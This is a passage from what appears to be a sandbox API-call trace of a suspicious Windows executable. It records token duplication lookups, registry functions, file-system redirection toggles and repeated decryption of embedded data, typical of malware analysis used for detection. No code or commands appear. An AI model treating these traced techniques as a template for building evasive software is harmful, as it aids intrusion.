(hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExA") returned 0x777248ef [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExA") returned 0x77724907 [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0047.493] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0052.057] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0052.057] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0052.057] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0052.057] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0054.196] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0054.196] atexit (param_1=0x20920) returned 0 [0054.196] GetVersion () returned 0x1db10106 [0054.196] GetCurrentProcess () returned 0xffffffff [0054.196] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f80c | out: TokenHandle=0x18f80c*=0x84) returned 1 [0054.197] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x18f810, TokenInformationLength=0x4, ReturnLength=0x18f814 | out: TokenInformation=0x18f810, ReturnLength=0x18f814) returned 1 [0054.197] CloseHandle (hObject=0x84) returned 1 [0054.197] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" " [0054.197] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" ", pNumArgs=0x18f814 | out: pNumArgs=0x18f814) returned 0x2f09a80*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe" [0054.198] GetProcessHeap () returned 0x2ef0000 [0054.198] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1) returned 0x2f06978 [0054.198] GetProcessHeap () returned 0x2ef0000 [0054.198] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f0c230 [0054.198] CryptAcquireContextW (in: phProv=0x2f0c230, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2f0c230*=0x2f0c268) returned 1 [0054.501] GetProcessHeap () returned 0x2ef0000 [0054.501] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f0e408 [0054.501] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f788, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0c348) returned 1 [0054.503] CryptDecrypt (in: hKey=0x2f0c348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0e408, pdwDataLen=0x2f0c258 | out: pbData=0x2f0e408, pdwDataLen=0x2f0c258) returned 1 [0054.505] CryptDestroyKey (hKey=0x2f0c348) returned 1 [0054.505] GetSystemWindowsDirectoryW (in: lpBuffer=0x418018, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0054.505] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418220, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opboohpueclon.exe")) returned 0x37 [0054.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x419220, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0056.161] GetProcessHeap () returned 0x2ef0000 [0056.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0c378 [0056.161] GetProcessHeap () returned 0x2ef0000 [0056.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0c6b8 [0056.161] GetProcessHeap () returned 0x2ef0000 [0056.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ebb0 [0056.161] GetProcessHeap () returned 0x2ef0000 [0056.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0d9e0 [0056.161] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f008) returned 1 [0056.162] CryptDecrypt (in: hKey=0x2f0f008, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0d9e0, pdwDataLen=0x18f7f8 | out: pbData=0x2f0d9e0, pdwDataLen=0x18f7f8) returned 1 [0056.162] CryptDestroyKey (hKey=0x2f0f008) returned 1 [0056.162] GetProcessHeap () returned 0x2ef0000 [0056.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0da08 [0056.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f008) returned 1 [0056.162] CryptDecrypt (in: hKey=0x2f0f008, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0da08, pdwDataLen=0x18f7f8 | out: pbData=0x2f0da08, pdwDataLen=0x18f7f8) returned 1 [0056.162] CryptDestroyKey (hKey=0x2f0f008) returned 1 [0056.162] GetProcessHeap () returned 0x2ef0000 [0056.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c778 [0056.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f008) returned 1 [0056.162] CryptDecrypt (in: hKey=0x2f0f008, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c778, pdwDataLen=0x18f7f8 | out: pbData=0x2f0c778, pdwDataLen=0x18f7f8) returned 1 [0056.162] CryptDestroyKey (hKey=0x2f0f008) returned 1 [0056.162] GetProcessHeap () returned 0x2ef0000 [0056.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f0f200 [0056.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f790, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f008) returned 1 [0056.162] CryptDecrypt (in: hKey=0x2f0f008, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0f200, pdwDataLen=0x18f7fc | out: pbData=0x2f0f200, pdwDataLen=0x18f7fc) returned 1 [0056.162] CryptDestroyKey (hKey=0x2f0f008) returned 1 [0056.163] GetProcessHeap () returned 0x2ef0000 [0056.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f0f008 [0056.163] GetProcessHeap () returned 0x2ef0000 [0056.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xd) returned 0x2f0ebc8 [0056.163] GetProcessHeap () returned 0x2ef0000 [0056.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1f) returned 0x2f0da30 [0056.163] GetProcessHeap () returned 0x2ef0000 [0056.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f0da58 [0056.163] GetProcessHeap () returned 0x2ef0000 [0056.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xd) returned 0x2f0ebe0 [0056.163] GetProcessHeap () returned 0x2ef0000 [0056.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f0f028 [0056.163] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0056.163] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0056.164] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0056.164] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0056.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0056.164] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0056.164] GetProcessHeap () returned 0x2ef0000 [0056.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0f200 | out: hHeap=0x2ef0000) returned 1 [0056.164] GetProcessHeap () returned 0x2ef0000 [0056.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ebc8 | out: hHeap=0x2ef0000) returned 1 [0056.164] GetProcessHeap () returned 0x2ef0000 [0056.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0da30 | out: hHeap=0x2ef0000) returned 1 [0056.164] GetProcessHeap () returned 0x2ef0000 [0056.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0da58 | out: hHeap=0x2ef0000) returned 1 [0056.164] GetProcessHeap () returned 0x2ef0000 [0056.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ebe0 | out: hHeap=0x2ef0000) returned 1 [0056.164] GetProcessHeap () returned 0x2ef0000 [0056.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0f028 | out: hHeap=0x2ef0000) returned 1 [0056.164] GetProcessHeap () returned 0x2ef0000 [0056.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0f008 | out: hHeap=0x2ef0000) returned 1 [0056.164] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18f7e8, cchData=32 | out: lpLCData="\x03") returned 16 [0056.165] GetProcessHeap () returned 0x2ef0000 [0056.165] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4) returned 0x2f06988 [0056.165] GetProcessHeap () returned 0x2ef0000 [0056.165] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f0f200 [0056.165] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f008) returned 1 [0056.166] CryptDecrypt (in: hKey=0x2f0f008, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0f200, pdwDataLen=0x18f7d8 | out: pbData=0x2f0f200, pdwDataLen=0x18f7d8) returned 1 [0056.166] CryptDestroyKey (hKey=0x2f0f008) returned 1 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f2c0 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x12) returned 0x2f0f008 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f2d0 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f0da58 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f2e0 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc) returned 0x2f0ebe0 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f2f0 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f0da30 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f300 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ebc8 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f310 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26) returned 0x2f0f6a8 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f320 [0056.166] GetProcessHeap () returned 0x2ef0000 [0056.166] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x18) returned 0x2f0f028 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0f200 | out: hHeap=0x2ef0000) returned 1 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4) returned 0x2f0f330 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0da80 [0056.167] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f200) returned 1 [0056.167] CryptDecrypt (in: hKey=0x2f0f200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0da80, pdwDataLen=0x18f7d8 | out: pbData=0x2f0da80, pdwDataLen=0x18f7d8) returned 1 [0056.167] CryptDestroyKey (hKey=0x2f0f200) returned 1 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f340 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ebf8 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0da80 | out: hHeap=0x2ef0000) returned 1 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4) returned 0x2f0f350 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0da80 [0056.167] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f200) returned 1 [0056.167] CryptDecrypt (in: hKey=0x2f0f200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0da80, pdwDataLen=0x18f7d8 | out: pbData=0x2f0da80, pdwDataLen=0x18f7d8) returned 1 [0056.167] CryptDestroyKey (hKey=0x2f0f200) returned 1 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f360 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f0daa8 [0056.167] GetProcessHeap () returned 0x2ef0000 [0056.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0da80 | out: hHeap=0x2ef0000) returned 1 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4) returned 0x2f0f370 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a0) returned 0x2f0f6d8 [0056.168] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f200) returned 1 [0056.168] CryptDecrypt (in: hKey=0x2f0f200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0f6d8, pdwDataLen=0x18f7d8 | out: pbData=0x2f0f6d8, pdwDataLen=0x18f7d8) returned 1 [0056.168] CryptDestroyKey (hKey=0x2f0f200) returned 1 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f380 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f390 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f3a0 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f3b0 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f3c0 [0056.168] GetProcessHeap () returned 0x2ef0000 [0056.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f3d0 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f3e0 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f3f0 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f400 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc) returned 0x2f0ec10 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f410 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc) returned 0x2f0ec28 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f420 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc) returned 0x2f0ec40 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f430 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f440 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f450 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f460 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f470 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f480 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f490 [0056.169] GetProcessHeap () returned 0x2ef0000 [0056.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x6) returned 0x2f0f4a0 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f4b0 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f0f200 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f4c0 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ec58 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f4d0 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ec70 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f4e0 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f4f0 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f500 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f510 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f520 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f530 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f540 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f550 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f560 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f570 [0056.170] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f580 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f590 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f5a0 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f5b0 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f5c0 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f5d0 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f5e0 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f5f0 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f600 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa) returned 0x2f0ec88 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f610 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f620 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f630 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f640 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f650 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f660 [0056.171] GetProcessHeap () returned 0x2ef0000 [0056.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f670 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa) returned 0x2f0eca0 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f680 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f690 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f898 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f8a8 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f8b8 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f8c8 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f8d8 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f8e8 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f8f8 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f908 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f918 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f928 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f938 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f948 [0056.172] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f958 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa) returned 0x2f0ecb8 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f968 [0056.173] GetProcessHeap () returned 0x2ef0000 